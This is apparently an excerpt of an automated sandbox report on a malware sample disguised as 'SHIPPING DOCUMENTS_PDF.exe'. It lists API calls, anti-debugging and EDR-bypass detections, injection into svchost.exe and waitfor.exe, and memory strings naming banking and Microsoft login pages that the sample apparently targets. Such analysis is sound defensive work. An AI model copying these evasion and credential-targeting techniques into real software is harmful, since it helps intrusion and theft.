Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B54B37 LoadLibraryA,GetProcAddress,

0_2_00B54B37

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B78945 push ecx; ret	0_2_00B78958
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004CA027 push eax; retf	2_2_004CA028
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004C8A2C push ecx; ret	2_2_004C8A59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004C8A33 push ecx; ret	2_2_004C8A59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004C8286 push 7AE781A2h; iretd	2_2_004C82AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BAB95 push es; retf	2_2_004BAB99
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BBCE8 push ecx; ret	2_2_004BBCEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B3480 push eax; ret	2_2_004B3482
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BE5F4 push FFFFFF8Ah; iretd	2_2_004BE5FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004C7EB7 push esi; iretd	2_2_004C7EC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004D4F63 push edi; retf	2_2_004D4F6E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300225F pushad ; ret	2_2_030027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030027FA pushad ; ret	2_2_030027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030309AD push ecx; mov dword ptr [esp], ecx	2_2_030309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300283D push eax; iretd	2_2_03002858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300135E push eax; iretd	2_2_03001369
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C227FA pushad ; ret	5_2_04C227F9
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C2225F pushad ; ret	5_2_04C227F9
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C2283D push eax; iretd	5_2_04C22858
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C509AD push ecx; mov dword ptr [esp], ecx	5_2_04C509B6
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C21200 push edx; retn 0004h	5_2_04C21206
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C218A7 push ds; ret	5_2_04C2198E
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C219DB push 262804D4h; ret	5_2_04C219EA
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C29939 push es; iretd	5_2_04C29940
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C7229F push ebp; retf	5_2_02C722A0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C8020E push eax; retf	5_2_02C8020F
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C74A34 push esi; iretd	5_2_02C74A3D
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C76BA4 push eax; retf	5_2_02C76BA5
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C68865 push ecx; ret	5_2_02C6886C
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C74E03 push 7AE781A2h; iretd	5_2_02C74E27
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C75058 push 42629074h; iretd	5_2_02C75069

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B548D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00B548D7
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BD5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00BD5376

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B73187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B73187

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	API/Special instruction interceptor: Address: 9B3244
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\waitfor.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0307096E rdtsc

2_2_0307096E

Source: C:\Windows\SysWOW64\waitfor.exe

Window / User API: threadDelayed 9842

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-105550

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	API coverage: 3.8 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\waitfor.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\waitfor.exe TID: 1784	Thread sleep count: 130 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe TID: 1784	Thread sleep time: -260000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe TID: 1784	Thread sleep count: 9842 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe TID: 1784	Thread sleep time: -19684000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe TID: 3620	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe TID: 3620	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe TID: 3620	Thread sleep time: -46500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe TID: 3620	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe TID: 3620	Thread sleep time: -33000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\waitfor.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\waitfor.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BB445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00BB445A
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBC6D1 FindFirstFileW,FindClose,	0_2_00BBC6D1
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00BBC75C
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BBEF95
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BBF0F2
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BBF3F3
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BB37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00BB37EF
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BB3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00BB3B12
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BBBCBC
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C7C290 FindFirstFileW,FindNextFileW,FindClose,	5_2_02C7C290

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B549A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00B549A0

Source: B201338.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: B201338.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: B201338.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: B201338.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: B201338.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: B201338.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: B201338.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: B201338.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: B201338.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: B201338.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: B201338.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: B201338.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: waitfor.exe, 00000005.00000002.4472625168.0000000002EE5000.00000004.00000020.00020000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4472896426.0000000000BBF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2536320747.000002490541C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: B201338.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: B201338.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: B201338.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: B201338.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: B201338.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: B201338.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: B201338.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: B201338.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: B201338.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: B201338.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: B201338.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0307096E rdtsc

2_2_0307096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004C76A3 LdrLoadDll,

2_2_004C76A3

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BC3F09 BlockInput,

0_2_00BC3F09

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B53B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00B53B3A

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B85A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00B85A7C

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B54B37 LoadLibraryA,GetProcAddress,

0_2_00B54B37

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_009B34B0 mov eax, dword ptr fs:[00000030h]	0_2_009B34B0
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_009B3510 mov eax, dword ptr fs:[00000030h]	0_2_009B3510
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_009B1E70 mov eax, dword ptr fs:[00000030h]	0_2_009B1E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C310 mov ecx, dword ptr fs:[00000030h]	2_2_0302C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050310 mov ecx, dword ptr fs:[00000030h]	2_2_03050310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]	2_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03108324 mov ecx, dword ptr fs:[00000030h]	2_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]	2_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]	2_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov ecx, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA352 mov eax, dword ptr fs:[00000030h]	2_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D8350 mov ecx, dword ptr fs:[00000030h]	2_2_030D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310634F mov eax, dword ptr fs:[00000030h]	2_2_0310634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D437C mov eax, dword ptr fs:[00000030h]	2_2_030D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]	2_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]	2_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC3CD mov eax, dword ptr fs:[00000030h]	2_2_030EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B63C0 mov eax, dword ptr fs:[00000030h]	2_2_030B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]	2_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]	2_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]	2_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]	2_2_030D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]	2_2_030D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030663FF mov eax, dword ptr fs:[00000030h]	2_2_030663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302823B mov eax, dword ptr fs:[00000030h]	2_2_0302823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B8243 mov eax, dword ptr fs:[00000030h]	2_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B8243 mov ecx, dword ptr fs:[00000030h]	2_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310625D mov eax, dword ptr fs:[00000030h]	2_2_0310625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A250 mov eax, dword ptr fs:[00000030h]	2_2_0302A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036259 mov eax, dword ptr fs:[00000030h]	2_2_03036259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EA250 mov eax, dword ptr fs:[00000030h]	2_2_030EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EA250 mov eax, dword ptr fs:[00000030h]	2_2_030EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302826B mov eax, dword ptr fs:[00000030h]	2_2_0302826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
